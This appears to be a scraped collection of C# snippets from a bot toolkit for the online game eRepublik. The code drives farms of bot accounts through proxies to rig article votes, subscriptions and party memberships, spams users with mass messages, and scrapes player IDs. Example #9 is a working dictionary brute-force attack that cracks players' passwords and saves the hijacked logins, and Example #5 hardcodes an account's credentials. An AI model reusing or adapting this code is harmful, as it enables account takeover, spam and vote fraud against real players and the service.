Example #1
0
        public static void Worker(string[] args)
        {
            if(args.Length!=2)
            {
                Console.Write("daily botslist.txt offerid");
                return;
            }

            NerZul.Core.Utils.ManagedBotConfig config=new NerZul.Core.Utils.ManagedBotConfig();
            config.ProxyList=new NerZul.Core.Utils.StringSelector("data/proxy.txt");
            config.UserAgentList=new NerZul.Core.Utils.StringSelector("data/ua.txt");
            config.DisableProxyAfterLogin=true;

            string[] bots = System.IO.File.ReadAllLines(args[1]);
            foreach (string bot in bots)
            {
                if (bot.Contains("|"))
                {

                    string[] pair = bot.Split('|');
                    ConsoleLog.WriteLine(pair[0] + "|" + pair[1]);
                    NerZul.Core.Network.Bot nbot = new NerZul.Core.Network.Bot(pair[0], pair[1],
                        "Opera/9.62 (Windows NT 6.1; U; ru) Presto/2.1.1", "",0);
                    bool ok = false;
                    while (!ok)
                    {
                        try
                        {

                            if (nbot.Login())
                            {
                                ConsoleLog.WriteLine("Logged in");
                                nbot.Work(false);
                                nbot.Train();
                            }
                        }
                        catch (Exception e)
                        {
                            ConsoleLog.WriteLine("Daily error: " + e.Message);
                        }
                        if (!ok) System.Threading.Thread.Sleep(1000 * int.Parse(args[3]));

                    }
                    System.Threading.Thread.Sleep(1000 * int.Parse(args[3]));
                }
            }
        }
Example #2
0
        public static void vote_subscribe(string[] args)
        {
            if((args.Length!=4) ||
               ((args[0].ToLower() != "vote") && (args[0].ToLower() != "subscribe")
                && (args[0].ToLower() != "unsubscribe")))
            {
                ConsoleLog.WriteLine("vote/subscribe list.txt articleid interval");
            }
            string[] bots=System.IO.File.ReadAllLines(args[1]);
            foreach (string bot in bots)
            {
                if (bot.Contains("|"))
                {

                    string[] pair=bot.Split('|');
                    ConsoleLog.WriteLine(pair[0]+"|"+pair[1]);
                    NerZul.Core.Network.Bot nbot=new NerZul.Core.Network.Bot(pair[0],pair[1],
                        "Opera/9.62 (Windows NT 6.1; U; ru) Presto/2.1.1","",0);
                    bool ok=false;
                    while(!ok)
                    {
                        try
                        {

                            if(nbot.Login())
                            {
                                ConsoleLog.WriteLine("Logged in");
                                if(args[0].ToLower()=="vote")
                                    nbot.VoteArticle(int.Parse(args[2]));
                                else if(args[0].ToLower()=="subscribe")
                                    nbot.SubscribeNewspaper(int.Parse(args[2]));
                                else
                                    nbot.UnsubscribeNewspaper(int.Parse(args[2]));
                                ok=true;
                            }
                        }catch (Exception e)
                        {
                            ConsoleLog.WriteLine("Vote error: " + e.Message);
                        }
                        if(!ok) System.Threading.Thread.Sleep(1000*int.Parse(args[3]));

                    }
                    System.Threading.Thread.Sleep(1000*int.Parse(args[3]));
                }
            }
        }
Example #3
0
        private static void join_thread(object xarg)
        {
            join_thread_arg arg=(join_thread_arg) xarg;
            string bot=arg.BotList.GetNextBot();
            while(bot!=null)
            {
                string[] pair=bot.Split('|');
                bool sOK=false;
                while (!sOK)
                {
                    NerZul.Core.Network.Bot Bot=new NerZul.Core.Network.Bot(pair[0],pair[1],
                        "Opera/9.62 (Windows NT 6.1; U; ru) Presto/2.1.1", "",0);
                    Bot.HttpClient.Proxy=arg.ProxyList.GetRandomString();
                    Bot.HttpClient.Timeout=20000;
                    ConsoleLog.WriteLine("Try \""+pair[0]+"\" with"+Bot.HttpClient.Proxy);
                    try
                    {
                        if(Bot.Login())
                        {
                            //Bot.HttpClient.Proxy=null;
                            if(arg.Leave)
                            {
                                ConsoleLog.WriteLine(pair[0]+" logged in");
                                string PostData=Bot.GetTokenArg(1);
                                Bot.CustomRequest("http://www.erepublik.com/en/resign-party/"+
                                                  arg.Party,PostData);
                            }else{
                            Bot.CustomRequest("http://www.erepublik.com/en/join-party/"+arg.Party);
                            }
                            sOK=true;
                            ConsoleLog.WriteLine(pair[0]+" OK");
                        }

                    }catch (Exception){};
                }
                bot=arg.BotList.GetNextBot();

            }
        }
Example #4
0
        public static void Worker(string[] args)
        {
            #if !PUBLIC_BUILD
            if(args.Length!=4)
            {
                ConsoleLog.WriteLine("Usage: fire_all login(email) password company");
                return;
            }
            Globals.webCitadel.SendLogInfo(new string[] { "fire_all" }, 0);
            args[1] = args[1].Replace("%", " ");
            NerZul.Core.Network.Bot bot = new NerZul.Core.Network.Bot(args[1], args[1], args[2], Globals.BotConfig.bBeep);
            if(!bot.Login())
            {
                ConsoleLog.WriteLine("Unable to login");
                return;
            }
            string scan=bot.CustomRequest("http://www.erepublik.com/en/company-employees/"+
                                          args[3]+"/1/1/1");
            while(true)
            {
                System.Text.RegularExpressions.Match m=
                    System.Text.RegularExpressions.Regex.Match(scan,
                    @"/en/fire-employee/company-\w+-employee-\w+");
                if(m.Groups[0].Value.Length==0) break;
                ConsoleLog.WriteLine("Found: "+m.Groups[0].Value);
                System.Threading.Thread.Sleep(3000);
                scan=bot.CustomRequest("http://www.erepublik.com"+m.Groups[0].Value);
            }

            return;

            //http://api.erepublik.com/v1/feeds/companies/COMPANY_ID}
            #else
            ConsoleLog.WriteLine("ƒумаешь самый умный? —казано, не работает!");
            #endif
        }
Example #5
0
        static void Main(string[] args)
        {
            StringBuilder sb = new StringBuilder();
            List<string> listArts = new List<string>();
            List<string> listConts = new List<string>();
            int i;
            string sbuf;
            int iTotal;
            string sCountFind;
            string sFind;
            int ipos;
            NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot("sasha240", "*****@*****.**", "vfvfvskfhfve", false);
            string m_Response;
            string sNumPaper;
            sNumPaper = "the-independent-nowadays-191782";
            if (!bt.Login())
                return;
            m_Response = bt.CustomRequest("http://www.erepublik.com/en/newspaper/" + sNumPaper + "/1");
            sCountFind = "class=\"last\" title=\"Go to page ";
            ipos = m_Response.IndexOf(sCountFind);
            if (ipos == -1)
            {
                iTotal = 5;
            }
            else
            {
                sbuf = m_Response.Substring(ipos + sCountFind.Length);
                ipos = sbuf.IndexOf("\"");
                iTotal = int.Parse(sbuf.Substring(0, ipos));
            }
            //int iVal;
            //string sVal1;
            //string sFind1;
            //string sB1;
            //string sVal2;
            //string sB2;
            string sFullLink;
            ConsoleLog.WriteLine("Total=" + iTotal.ToString());
            for (i = 1; i <= iTotal; i++)
            {
                sFullLink = "http://www.erepublik.com/en/newspaper/" + sNumPaper + "/" + i.ToString();
                ConsoleLog.WriteLine(sFullLink);
                m_Response = bt.CustomRequest(sFullLink);
                sFind = "class=\"padded\"><a href=\"/en/article/";
                sbuf = "class=\"padded\"><a href=\"";
                while ((ipos = m_Response.IndexOf(sFind)) != -1)
                {
                    m_Response = m_Response.Substring(ipos + sbuf.Length);
                    sFind = "/1/20\">";
                    ipos = m_Response.IndexOf(sFind);
                    listArts.Add(m_Response.Substring(0, ipos + sFind.Length-2));
                    sFind = "class=\"padded\"><a href=\"/en/article/";
                }
                ConsoleLog.WriteLine("ok");
            }
            foreach(string sLink in listArts)
            {
                System.Threading.Thread.Sleep(2000);
                sFullLink = "http://www.erepublik.com" + sLink;
                ConsoleLog.WriteLine(sFullLink);
                try
                {
                    m_Response = bt.CustomRequest(sFullLink);
                }
                catch (System.Exception e)
                {
                    Console.WriteLine("Error");
                    continue;
                }

                sFind = "<p class=\"preview\">";
                ipos = m_Response.IndexOf(sFind);
                if (ipos!=-1)
                {
                    m_Response = m_Response.Substring(ipos + sFind.Length);
                    sFind = "<p class=\"bottomcontrol\">";
                    ipos = m_Response.IndexOf(sFind);
                    listConts.Add(m_Response.Substring(0, ipos));
                }
            }
            foreach(string sCont in listConts)
            {
                sb.Append(sCont);
            }
            System.IO.File.WriteAllText("c:\\2\\" + sNumPaper + ".txt", sb.ToString());
        }
Example #6
0
        private void Gobutton_Click(object sender, EventArgs e)
        {
            string sLogin, sPassword, sFile, sBufSubj, sSubj, sBufBody, sBody;
            sLogin = LogintextBox.Text;
            sPassword = PasswordtextBox.Text;
            sFile = FiletextBox.Text;
            sBufSubj = SubjtextBox.Text;
            sBufBody = TexttextBox.Text;
            sSubj = System.Web.HttpUtility.UrlEncode(SubjtextBox.Text);
            sBody = System.Web.HttpUtility.UrlEncode(TexttextBox.Text);
            if (sLogin.Length == 0)
            {
                MessageBox.Show("Не задан пароль!");
                return;
            }
            if (sPassword.Length == 0)
            {
                MessageBox.Show("Не задан логин!");
                return;
            }
            if (sFile.Length == 0)
            {
                MessageBox.Show("Не указан файл!");
                return;
            }
            if (sSubj.Length == 0)
            {
                MessageBox.Show("Отсуствует заголовок сообщения!");
                return;
            }
            if (SubjtextBox.Text.Length > 30)
            {
                MessageBox.Show("Длина заголовка не должна быть больше 30 символов!");
                return;
            }
            if (sBody.Length == 0)
            {
                MessageBox.Show("Отсутствует текст сообщения!");
                return;
            }
            m_ssUsers = GetDict(sFile);
            if (m_ssUsers.Count == 0)
            {
                MessageBox.Show("В указанном файле ничего нет!");
                return;
            }
            throw new NotImplementedException("Login not updated to email");
            NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot(sLogin, sLogin, sPassword, "Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9", (AutocaptchacheckBox.Checked) ? AutocaptchatextBox.Text : "", 0, bBeep);
            if (!bt.Login())
            {
                MessageBox.Show("Неверно указаны логин или пароль!");
                return;
            }
            int i = 0;
            ConsoleLog.WriteLine("Total to send " + m_ssUsers.Count.ToString());
            foreach (var p in m_ssUsers)
            {
                i++;
                ConsoleLog.WriteLine(i.ToString() + " of " + m_ssUsers.Count.ToString());
                int iId = int.Parse(p.Key);
                string sName = p.Value;
                sSubj = sBufSubj.Replace("%username%", sName);
                sSubj = System.Web.HttpUtility.UrlEncode(sSubj);

                sBody = sBufBody.Replace("%username%", sName);
                sBody = System.Web.HttpUtility.UrlEncode(sBody);

                bt.SendMessage(iId, sName, sSubj, sBody);
            }
            MessageBox.Show("Готово!");
        }
Example #7
0
        private void Userbutton_Click(object sender, EventArgs e)
        {
            string sbuf;
            int iTotal;
            string sCountFind;
            string sFind;
            int ipos;
            int i;
            int iVal;
            string sVal1, sVal2, sFind1;
            string sB1 = "\" href=\"/en/citizen/profile/", sB2 = "\">";
            if (UsertextBox.Text.Length == 0)
            {
                MessageBox.Show("Id пользователя не задано!");
                return;
            }
            string sLogin = LogintextBox.Text;
            string sPassword = PasswordtextBox.Text;
            if (sLogin.Length == 0 || sPassword.Length == 0)
            {
                MessageBox.Show("Логин и пароль не заданы!");
                return;
            }

            throw new NotImplementedException("Login not updated to email");
            NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot(sLogin, sLogin, sPassword, bBeep);
            if (!bt.Login())
                return;
            m_Response = bt.CustomRequest("http://www.erepublik.com/en/citizen/friends/"+UsertextBox.Text+"/0/100");
            if (m_Response.Contains("Page not found"))
            {
                MessageBox.Show("Имя партии должно быть задано в формате (название-логин)!");
                return;
            }
            sCountFind = "class=\"last\" title=\"Go to page ";
            ipos = m_Response.IndexOf(sCountFind);
            if (ipos == -1)
            {
                iTotal = 5;
            }
            else
            {
                sbuf = m_Response.Substring(ipos + sCountFind.Length);
                ipos = sbuf.IndexOf("\"");
                iTotal = int.Parse(sbuf.Substring(0, ipos));
            }
            ConsoleLog.WriteLine("Total=" + iTotal.ToString());
            for (i = 0; i <= iTotal; i++)
            {
                m_Response = bt.CustomRequest("http://www.erepublik.com/en/citizen/friends/"+UsertextBox.Text+"/"+i.ToString()+"/100");
                ConsoleLog.WriteLine("http://www.erepublik.com/en/citizen/friends/" + UsertextBox.Text + "/" + i.ToString() + "/100");
                sFind = "<div class=\"avatarholder\">\n\t\t\t\t<a title=\"";
                while ((ipos = m_Response.IndexOf(sFind)) != -1)
                {
                    m_Response = m_Response.Substring(ipos + sFind.Length);
                    ipos = m_Response.IndexOf("\"");

                    sVal2 = m_Response.Substring(0, ipos);
                    sFind1 = sVal2 + sB1;
                    ipos = m_Response.IndexOf(sFind1);
                    m_Response = m_Response.Substring(ipos + sFind1.Length);
                    ipos = m_Response.IndexOf(sB2);
                    iVal = int.Parse(m_Response.Substring(0, ipos));
                    sVal1 = iVal.ToString();
                    sVal2.Trim();
                    if (iVal!=2&&sVal2.Length!=0)
                    {
                        m_ssUsers[sVal1] = sVal2;
                    }
                }
                ConsoleLog.WriteLine("ok");
            }
            ConsoleLog.WriteLine("Total in " + m_ssUsers.Count.ToString());
            System.IO.File.WriteAllText(UsertextBox.Text + ".txt", GetLine(m_ssUsers));
            ConsoleLog.WriteLine("Saved to " + UsertextBox.Text + ".txt");
            MessageBox.Show("Готово!");
        }
Example #8
0
        private void Regionbutton_Click(object sender, EventArgs e)
        {
            string sbuf;
            int iTotal;
            string sCountFind;
            string sFind;
            int ipos;
            int i;
            int iVal;
            string sVal1, sVal2, sFind1;
            string sB1 = "\">", sB2 = "</";
            if (RegiontextBox.Text.Length == 0)
            {
                MessageBox.Show("Номер региона на задан!");
                return;
            }
            PartytextBox.Text.Trim('/');
            string sLogin = LogintextBox.Text;
            string sPassword = PasswordtextBox.Text;
            if (sLogin.Length == 0 || sPassword.Length == 0)
            {
                MessageBox.Show("Логин и пароль не заданы!");
                return;
            }

            throw new NotImplementedException("Login not updated to email");
            NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot(sLogin, sLogin, sPassword, bBeep);
            if (!bt.Login())
                return;

            m_Response = bt.CustomRequest("http://www.erepublik.com/en/rankings/citizens/region/1/" + RegiontextBox.Text);
            if (m_Response.Contains("Page not found"))
            {
                MessageBox.Show("Нужно ввести номер региона (цифру)!");
                return;
            }
            sCountFind = "class=\"last \" title=\"Go to page ";
            ipos = m_Response.IndexOf(sCountFind);
            if (ipos == -1)
            {
                iTotal = 5;
            }
            else
            {
                sbuf = m_Response.Substring(ipos + sCountFind.Length);
                ipos = sbuf.IndexOf("\"");
                iTotal = int.Parse(sbuf.Substring(0, ipos));
            }
            ConsoleLog.WriteLine("Total=" + iTotal.ToString());
            for (i = 1; i <= iTotal; i++)
            {
                ConsoleLog.WriteLine("http://www.erepublik.com/en/rankings/citizens/region/" + i.ToString() + "/" + RegiontextBox.Text);
                m_Response = bt.CustomRequest("http://www.erepublik.com/en/rankings/citizens/region/" + i.ToString() + "/" + RegiontextBox.Text);
                sFind = "\"dotted\" href=\"/en/citizen/profile/";
                while ((ipos = m_Response.IndexOf(sFind)) != -1)
                {
                    m_Response = m_Response.Substring(ipos + sFind.Length);
                    ipos = m_Response.IndexOf("\"");
                    iVal = int.Parse(m_Response.Substring(0, ipos));
                    sVal1 = iVal.ToString();
                    sFind1 = sVal1 + sB1;
                    ipos = m_Response.IndexOf(sFind1);
                    m_Response = m_Response.Substring(ipos + sFind1.Length);
                    ipos = m_Response.IndexOf(sB2);
                    sVal2 = m_Response.Substring(0, ipos);
                    m_ssUsers[sVal1] = sVal2;
                }
                ConsoleLog.WriteLine("ok");
            }
            ConsoleLog.WriteLine("Total in " + m_ssUsers.Count.ToString());
            System.IO.File.WriteAllText(RegiontextBox.Text + ".txt", GetLine(m_ssUsers));
            ConsoleLog.WriteLine("Saved to " + RegiontextBox.Text + ".txt");
            MessageBox.Show("Готово!");
        }
Example #9
0
        private static void zombolize_thread()
        {
            //Поток запущен же
            lock(m_ThreadCountLock)
            {
                m_ThreadCount++;
            }
            LoginPassword LPPair;
            while(true)
            {
                //Получаем новую пару логин/пароль или выходим
                lock(m_List)
                {
                    //В текущем списке пусто?
                    if(m_List.Count==0)
                    {
                        string nextvictim=m_NickNameList.GetNextString();
                        //Там вообще кто-то ещё есть?
                        if(nextvictim==null)
                        {
                            //Нам тут больше делать нечего, по ходу. Тормозим поток.
                            lock(m_ThreadCountLock)
                            {
                                m_ThreadCount--;
                            }
                            return;
                        }
                        ConsoleLog.WriteLine("Trying to hack "+nextvictim+". "+
                                          m_NickNameList.m_List.Count+" left.");
                        //Генерим набор, чо
                        m_List.Add(new LoginPassword(nextvictim,nextvictim));
                        foreach(string password in m_Dictionary)
                        {
                            m_List.Add(new LoginPassword(nextvictim,password));
                        }
                    }
                    //Вытаскиваем из списка следующую пару логин/пасс
                    LPPair=m_List[0];
                    m_List.RemoveAt(0);
                }
                //Долго и упорно пытаемся залогиниться. Связь нестабильна, поэтому ждём
                //ответа именно от ерепки, а не от быдлопрокси, который считает, что он
                //тут самый умный и вообще
                string Answer=null;
                while(true)
                {
                    NerZul.Core.Network.Bot bot=new NerZul.Core.Network.Bot(
                         Uri.EscapeDataString(LPPair.Login),
                         Uri.EscapeDataString(LPPair.Password),
                        "Opera/9.62 (Windows NT 6.1; U; ru) Presto/2.1.1", "", 0);
                    bot.HttpClient.Proxy=m_ProxyList.GetRandomString();
                    bool HasAnswer=false;
                    try
                    {
                        bot.Login();
                        HasAnswer=true;
                    }catch(Exception){};
                    //Если там не вылетел эксепшн - смотрим. Иначе - нахуй
                    if(HasAnswer)
                    {
                        Answer=bot.GetLastResponse();
                        //Если ответ таки от ерепки, думаем дальше
                        if(Answer.Contains("href=\"/en/tickets")) break;
                    }
                }

                //А куда мы попали?
                if(Answer.Contains("Permanent suspension"))
                {
                    //Ух ты бля, оно в пермабане
                    lock(m_List)
                    {
                        //Чистим список, если этого не сделали до нас
                        if((m_List.Count>0)&&(m_List[0].Login==LPPair.Login))
                        {
                            m_List.Clear();
                        }
                    }
                }
                //Левый пасс, нэ?
                else if((Answer.Contains("Wrong password"))||
                        (Answer.Contains("Wrong citizen")))
                {
                    //Эм. А ничего не делаем. Наверное
                }
                else
                {
                    //О, кул, залогинились. Пишем в лог, чистим списки
                    if((m_List.Count>0)&&(m_List[0].Login==LPPair.Login))
                    {
                        m_List.Clear();
                    }
                    m_OutS.WriteLine(LPPair.Login+"|"+LPPair.Password);
                    m_OutS.Flush();
                    ConsoleLog.WriteLine("HACKED: "+LPPair.Login+":"+LPPair.Password);
                }
                //Усё, а теперь следующую пару.
                System.Threading.Thread.Sleep(500);
            }
        }
Example #10
0
        private void Gobutton_Click_1(object sender, EventArgs e)
        {
            string sLogin, sPassword, sFile, sLink;
            sLink = TopictextBox.Text;
            sFile = FiletextBox.Text;
            int iLink = 0;
            if (sFile.Length == 0)
            {
                MessageBox.Show("Не указан файл!");
                return;
            }
            if (sLink.Length == 0)
            {
                MessageBox.Show("Отсуствует номер на статьи!");
                return;
            }
            iLink = int.Parse(sLink);
            if (iLink.ToString() != sLink)
            {
                MessageBox.Show("Неверно задан номер статьи!");
                return;
            }
            m_ssUsers = GetDict(sFile);
            if (m_ssUsers.Count == 0)
            {
                MessageBox.Show("В указанном файле ничего нет!");
                return;
            }
            foreach (var d in m_ssUsers)
            {
                throw new NotImplementedException("Login not updated to email");
                sLogin = d.Key;
                sPassword = d.Value;
                ConsoleLog.WriteLine(sLogin);
                NerZul.Core.Network.Bot bt = new NerZul.Core.Network.Bot(sLogin, sLogin, sPassword, false);
                try
                {
                    if (!bt.Login())
                    {
                        ConsoleLog.WriteLine("Wrong login or password!");
                        continue;
                    }
                    if(bt.GetLastResponse().Contains("dead"))
                    {
                        ConsoleLog.WriteLine("Possible dead!");
                        bt.Revive();
                    }
                }

                catch (System.Exception e1)
                {
                    ConsoleLog.WriteLine(sLogin+": Possible dead!");
                    ConsoleLog.WriteLine(e1.Message);
                    try
                    {
                        bt.Revive();
                    }
                    catch (System.Exception e2)
                    {
                        ConsoleLog.WriteLine(sLogin+": Possible banned!");
                        ConsoleLog.WriteLine(e2.Message);
                        continue;
                    }
                }
                try
                {
                    bt.VoteArticle(iLink);
                    ConsoleLog.WriteLine(sLogin + ": voted!");
                }
                catch (System.Exception e2)
                {
                    ConsoleLog.WriteLine(e2.Message);
                    continue;
                }
            }
            MessageBox.Show("Готово!");
        }